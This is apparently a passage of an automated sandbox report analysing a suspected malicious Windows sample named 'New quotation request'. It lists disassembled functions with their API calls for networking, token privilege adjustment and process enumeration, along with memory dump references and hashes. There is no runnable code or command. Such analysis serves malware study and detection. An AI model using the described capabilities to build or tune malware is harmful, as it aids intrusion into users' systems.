                                                                    • Opcode Fuzzy Hash: 91526e35f54a89b52a3581484109af2a1b694af5eef92361900f3617780df2ea
                                                                    • Instruction Fuzzy Hash: AE517A35A046029FC719DF28D491EEAB3E8EF49324F11461DE9568B3A1DB30ED54CB91
                                                                    Function 00326747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00327D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00327DB6
                                                                    • socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0032679E
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 003267C7
                                                                    • bind.WSOCK32(00000000,?,00000010), ref: 00326800
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 0032680D
                                                                    • closesocket.WSOCK32(00000000,00000000), ref: 00326821
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorLast$bindclosesocketinet_addrsocket
                                                                    • String ID:
                                                                    • API String ID: 99427753-0
                                                                    • Opcode ID: c7bce5c8025b57d381f20383092b9f3810b924dca1ee28d744bec31dc7dc7baf
                                                                    • Instruction ID: e33d887bf1ca9de9ef50f1ca5acc66b591dd4f7d12a0d8504c764a7028dcaa22
                                                                    • Opcode Fuzzy Hash: c7bce5c8025b57d381f20383092b9f3810b924dca1ee28d744bec31dc7dc7baf
                                                                    • Instruction Fuzzy Hash: 5A41C475A00210AFDB15BF249C87FAE77A8DF05794F44845CFA1AAB3D2CA709D50CB91
                                                                    Function 00335376 Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                    • String ID:
                                                                    • API String ID: 292994002-0
                                                                    • Opcode ID: f821508c7dafae24aeb7f84f54a5e4aa24bc08e1884e5c192f775e723d8bca2c
                                                                    • Instruction ID: 54f9eba9ac16a9f66ae1b46021c79cce598aeadd5eaf18a14260e52d4b28d5fe
                                                                    • Opcode Fuzzy Hash: f821508c7dafae24aeb7f84f54a5e4aa24bc08e1884e5c192f775e723d8bca2c
                                                                    • Instruction Fuzzy Hash: 7E11BF327009116FEB236F269CC4BAABBADEF457A1F414029F846D7251CBB0DD018AA0
                                                                    Function 003080A9 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 003080C0
                                                                    • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 003080CA
                                                                    • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 003080D9
                                                                    • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 003080E0
                                                                    • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 003080F6
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: HeapInformationToken$AllocErrorLastProcess
                                                                    • String ID:
                                                                    • API String ID: 44706859-0
                                                                    • Opcode ID: 68a9e80d0b09539ce9dcf5ed4fd9a0180dd97b04fc161cbf2854c2882f0f2b07
                                                                    • Instruction ID: 0d9a8f20ccebe15e35312283d9ce5af934be7cf5500446d8aec73726064743e5
                                                                    • Opcode Fuzzy Hash: 68a9e80d0b09539ce9dcf5ed4fd9a0180dd97b04fc161cbf2854c2882f0f2b07
                                                                    • Instruction Fuzzy Hash: B6F06235641204AFEB160FA5ECCDE673BACEF49755F400025F985C62A0CBA1DC45DE60
                                                                    Function 002BE6A0 Relevance: 7.4, Strings: 5, Instructions: 1102COMMON
                                                                    Download Yara Rule
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID: Dd7$Dd7$Dd7$Dd7$Variable must be of type 'Object'.
                                                                    • API String ID: 0-3687393284
                                                                    • Opcode ID: 96357441d7222db91a6236fac16ce0045c4e7919399e1e46d8afeed099488934
                                                                    • Instruction ID: 79fdb24860284781f347b401f7ed50be7a94d0e513b32ea90724c5474a7ab3a2
                                                                    • Opcode Fuzzy Hash: 96357441d7222db91a6236fac16ce0045c4e7919399e1e46d8afeed099488934
                                                                    • Instruction Fuzzy Hash: 55A28D74A2020ACFCF24CF58C490AEAB7B5FF58394F258469D9199B351D770EDA2CB90
                                                                    Function 002B4B37 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18libraryloaderCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • LoadLibraryA.KERNEL32(kernel32.dll,?,002B4AD0), ref: 002B4B45
                                                                    • GetProcAddress.KERNEL32(00000000,GetNativeSystemInfo), ref: 002B4B57
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AddressLibraryLoadProc
                                                                    • String ID: GetNativeSystemInfo$kernel32.dll
                                                                    • API String ID: 2574300362-192647395
                                                                    • Opcode ID: 0d1492a1ef36ae4aa35d7e124890b5769789c0b70b9c5cb2f59d4d2e9ffbd1d5
                                                                    • Instruction ID: c0906ac8660109dca31fb4d482681af7cb8645361240435c52986b437df5cd93
                                                                    • Opcode Fuzzy Hash: 0d1492a1ef36ae4aa35d7e124890b5769789c0b70b9c5cb2f59d4d2e9ffbd1d5
                                                                    • Instruction Fuzzy Hash: 9ED01274E10713CFDB21AF31E898B86B6D8AF05395F518839D486D6160D774D480C654
                                                                    Function 0032EE0D Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • CreateToolhelp32Snapshot.KERNEL32 ref: 0032EE3D
                                                                    • Process32FirstW.KERNEL32(00000000,?), ref: 0032EE4B
                                                                      • Part of subcall function 002B7DE1: _memmove.LIBCMT ref: 002B7E22
                                                                    • Process32NextW.KERNEL32(00000000,?), ref: 0032EF0B
                                                                    • CloseHandle.KERNEL32(00000000,?,?,?), ref: 0032EF1A
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
                                                                    • String ID:
                                                                    • API String ID: 2576544623-0
                                                                    • Opcode ID: 8aa73557eacedf7d6d413320357fa23aef6c4efd2843c11eb9b6cc055ae40b3b
                                                                    • Instruction ID: 2e83366de50a181b22664f1227587c4b691144a248b92a5bbac44a6db2b07878
                                                                    • Opcode Fuzzy Hash: 8aa73557eacedf7d6d413320357fa23aef6c4efd2843c11eb9b6cc055ae40b3b
                                                                    • Instruction Fuzzy Hash: 0651C071518711AFD311EF20DC82EABB7E8EF94740F40492DF595972A1EB70E918CB92
                                                                    Function 0030E616 Relevance: 5.1, APIs: 1, Strings: 2, Instructions: 561stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • lstrlenW.KERNEL32(?,?,?,00000000), ref: 0030E628
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: lstrlen
                                                                    • String ID: ($|
                                                                    • API String ID: 1659193697-1631851259
                                                                    • Opcode ID: c82c05bb8b7cd8ee3a6f0818df37937a3d7204e7349b6e474ddf272c7ad234ab
                                                                    • Instruction ID: 3530fbe17a89de02f67a6bf4ba03dfe86b5b11a704d6685afb7aad95d36304b7
                                                                    • Opcode Fuzzy Hash: c82c05bb8b7cd8ee3a6f0818df37937a3d7204e7349b6e474ddf272c7ad234ab
                                                                    • Instruction Fuzzy Hash: 1D324675A017059FDB29CF19C490A6AB7F1FF48320B15C86EE89ADB7A1E770E941CB40
                                                                    Function 003222EE Relevance: 4.7, APIs: 3, Instructions: 164networkfileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InternetQueryDataAvailable.WININET(00000001,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,0032180A,00000000), ref: 003223E1
                                                                    • InternetReadFile.WININET(00000001,00000000,00000001,00000001), ref: 00322418
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Internet$AvailableDataFileQueryRead
                                                                    • String ID:
                                                                    • API String ID: 599397726-0
                                                                    • Opcode ID: f41b51502d6a6e2a6d25887adcc15fd3d1822e5ad2b723303ce0101d62d56468
                                                                    • Instruction ID: 9db1a9c74dbd5661046cdf74c6276e5480cd21f55cc83d3c86b0f5eaf6719f7d
                                                                    • Opcode Fuzzy Hash: f41b51502d6a6e2a6d25887adcc15fd3d1822e5ad2b723303ce0101d62d56468
                                                                    • Instruction Fuzzy Hash: 0A41F675904219BFEB12DE96EC85FBBB7BCEB40314F10406AFA01A6241DA759E419A60
                                                                    Function 0031B333 Relevance: 4.6, APIs: 3, Instructions: 73COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetErrorMode.KERNEL32(00000001), ref: 0031B343
                                                                    • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 0031B39D
                                                                    • SetErrorMode.KERNEL32(00000000,00000001,00000000), ref: 0031B3EA
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorMode$DiskFreeSpace
                                                                    • String ID:
                                                                    • API String ID: 1682464887-0
                                                                    • Opcode ID: b1c0de9bff087e972a13333a44214a591d1fa79eda21a9dca46e00078e2488ef
                                                                    • Instruction ID: 47c4cbcaa46e1c3652de47339d9b6bfceacb0e2fcce778a7569d2562a8cc8cf7
                                                                    • Opcode Fuzzy Hash: b1c0de9bff087e972a13333a44214a591d1fa79eda21a9dca46e00078e2488ef
                                                                    • Instruction Fuzzy Hash: F1215E35A00518EFCB01EFA5D881AEDBBB8FF49310F1480AAE905AB351CB319965CF50
                                                                    Function 003087E1 Relevance: 4.6, APIs: 3, Instructions: 67COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 002D0DB6: std::exception::exception.LIBCMT ref: 002D0DEC
                                                                      • Part of subcall function 002D0DB6: __CxxThrowException@8.LIBCMT ref: 002D0E01
                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0030882B
                                                                    • AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00308858
                                                                    • GetLastError.KERNEL32 ref: 00308865
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AdjustErrorException@8LastLookupPrivilegePrivilegesThrowTokenValuestd::exception::exception
                                                                    • String ID:
                                                                    • API String ID: 1922334811-0
                                                                    • Opcode ID: 967d798a0785dd2afd58fba305e94ced0716745e95e1f0bdcac0921e434c03ab
                                                                    • Instruction ID: 369785a5e8db4204feac17ca32acb8ddedd04f172601662952eda91a64cc6585
                                                                    • Opcode Fuzzy Hash: 967d798a0785dd2afd58fba305e94ced0716745e95e1f0bdcac0921e434c03ab
                                                                    • Instruction Fuzzy Hash: 3F116AB2914204AFE719DFA4DCC5D6BB7BDFB44710B60C52EE49697651EA30AC408B60
                                                                    Function 0030874B Relevance: 4.5, APIs: 3, Instructions: 43memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00308774
                                                                    • CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 0030878B
                                                                    • FreeSid.ADVAPI32(?), ref: 0030879B
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AllocateCheckFreeInitializeMembershipToken
                                                                    • String ID:
                                                                    • API String ID: 3429775523-0
                                                                    • Opcode ID: ffafc52fb799936b0b985a33512ea87cd645a3accdc5c43f035d65d88e922628
                                                                    • Instruction ID: 57df715b1e563f907da6e95d4244c91062e34087576baab051463afe71d15286
                                                                    • Opcode Fuzzy Hash: ffafc52fb799936b0b985a33512ea87cd645a3accdc5c43f035d65d88e922628
                                                                    • Instruction Fuzzy Hash: 12F03775E1120CBFDB04DFE49D89ABEBBBCEF08301F5044A9A905E2181E6716A048B50
                                                                    Function 00318889 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 68COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __time64.LIBCMT ref: 0031889B
                                                                      • Part of subcall function 002D520A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00318F6E,00000000,?,?,?,?,0031911F,00000000,?), ref: 002D5213
                                                                      • Part of subcall function 002D520A: __aulldiv.LIBCMT ref: 002D5233
                                                                    Strings
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Time$FileSystem__aulldiv__time64
                                                                    • String ID: 0e7
                                                                    • API String ID: 2893107130-2065499759
                                                                    • Opcode ID: 59e8db6542342fbf55b0e44d8f2710b4e72ee9e1fb6065adc004315b698284dd
                                                                    • Instruction ID: 93b7e418a2980e9bd53c2a4060167c900e3038d2dfc17d84a106c77f5c0394df
                                                                    • Opcode Fuzzy Hash: 59e8db6542342fbf55b0e44d8f2710b4e72ee9e1fb6065adc004315b698284dd
                                                                    • Instruction Fuzzy Hash: 4A21E732635510CBC32ACF29D451A91B3E5EFA9320F688E2CD0F9CB2C0CA34B945DB54
                                                                    Function 0031C6D1 Relevance: 3.1, APIs: 2, Instructions: 52fileCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • FindFirstFileW.KERNEL32(?,?), ref: 0031C6FB
                                                                    • FindClose.KERNEL32(00000000), ref: 0031C72B
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: Find$CloseFileFirst
                                                                    • String ID:
                                                                    • API String ID: 2295610775-0
                                                                    • Opcode ID: 4ef2f50a9fd8828e2acf43ab1c7596d0e0962df58963681c15774cd513efe307
                                                                    • Instruction ID: a12c04e54f555783fd6c6719715aa0ca03e6d3a841d31ea683de23482176b892
                                                                    • Opcode Fuzzy Hash: 4ef2f50a9fd8828e2acf43ab1c7596d0e0962df58963681c15774cd513efe307
                                                                    • Instruction Fuzzy Hash: AD11A1766102009FDB10EF29D885A6AF7E8FF89364F00851DF9A9C72A1DB70AC11CF81
                                                                    Function 0031A06A Relevance: 3.0, APIs: 2, Instructions: 31windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetLastError.KERNEL32(00000000,?,00000FFF,00000000,00000016,?,00329468,?,0033FB84,?), ref: 0031A097
                                                                    • FormatMessageW.KERNEL32(00001000,00000000,000000FF,00000000,?,00000FFF,00000000,00000016,?,00329468,?,0033FB84,?), ref: 0031A0A9
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorFormatLastMessage
                                                                    • String ID:
                                                                    • API String ID: 3479602957-0
                                                                    • Opcode ID: 86b0320dd3c5c7bbda274b7afc97bfb66355efdadcac930c74d0a0a181f72094
                                                                    • Instruction ID: e389000cd692a97882d799e99670361d6c55c47e7533e9803a4c9e9561002639
                                                                    • Opcode Fuzzy Hash: 86b0320dd3c5c7bbda274b7afc97bfb66355efdadcac930c74d0a0a181f72094
                                                                    • Instruction Fuzzy Hash: 15F0E23550522DABDB229FA4CC88FEA736CBF0C362F004165F808D2181C6309954CBA1
                                                                    Function 003081CB Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00308309), ref: 003081E0
                                                                    • CloseHandle.KERNEL32(?,?,00308309), ref: 003081F2
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: AdjustCloseHandlePrivilegesToken
                                                                    • String ID:
                                                                    • API String ID: 81990902-0
                                                                    • Opcode ID: 2acdb8f3d216581707bf076370b50bb7647f6a4cbb845789437073e892ffbb04
                                                                    • Instruction ID: 6f5445e4b999367e20e962ca51977a2e7405d63011eb63eb997f307699914e19
                                                                    • Opcode Fuzzy Hash: 2acdb8f3d216581707bf076370b50bb7647f6a4cbb845789437073e892ffbb04
                                                                    • Instruction Fuzzy Hash: A7E0E671011510AFE7262B74EC45E7777EDEF04310F14C82EF49584470DB615CA1DB10
                                                                    Function 002DA155 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SetUnhandledExceptionFilter.KERNEL32(00000000,?,002D8D57,?,?,?,00000001), ref: 002DA15A
                                                                    • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 002DA163
                                                                    Memory Dump Source
                                                                    • Source File: 00000000.00000002.1677615465.00000000002B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 002B0000, based on PE: true
                                                                    • Associated: 00000000.00000002.1677597334.00000000002B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.000000000033F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677694294.0000000000364000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677728711.000000000036E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                    • Associated: 00000000.00000002.1677782244.0000000000377000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_0_2_2b0000_New quotation request.jbxd
                                                                    Similarity
                                                                    • API ID: ExceptionFilterUnhandled
                                                                    • String ID:
                                                                    • API String ID: 3192549508-0
                                                                    • Opcode ID: 50bae8e399822fe7cdc2f750ac920b66483313298984c57e87c8ca1ee72bbbbb
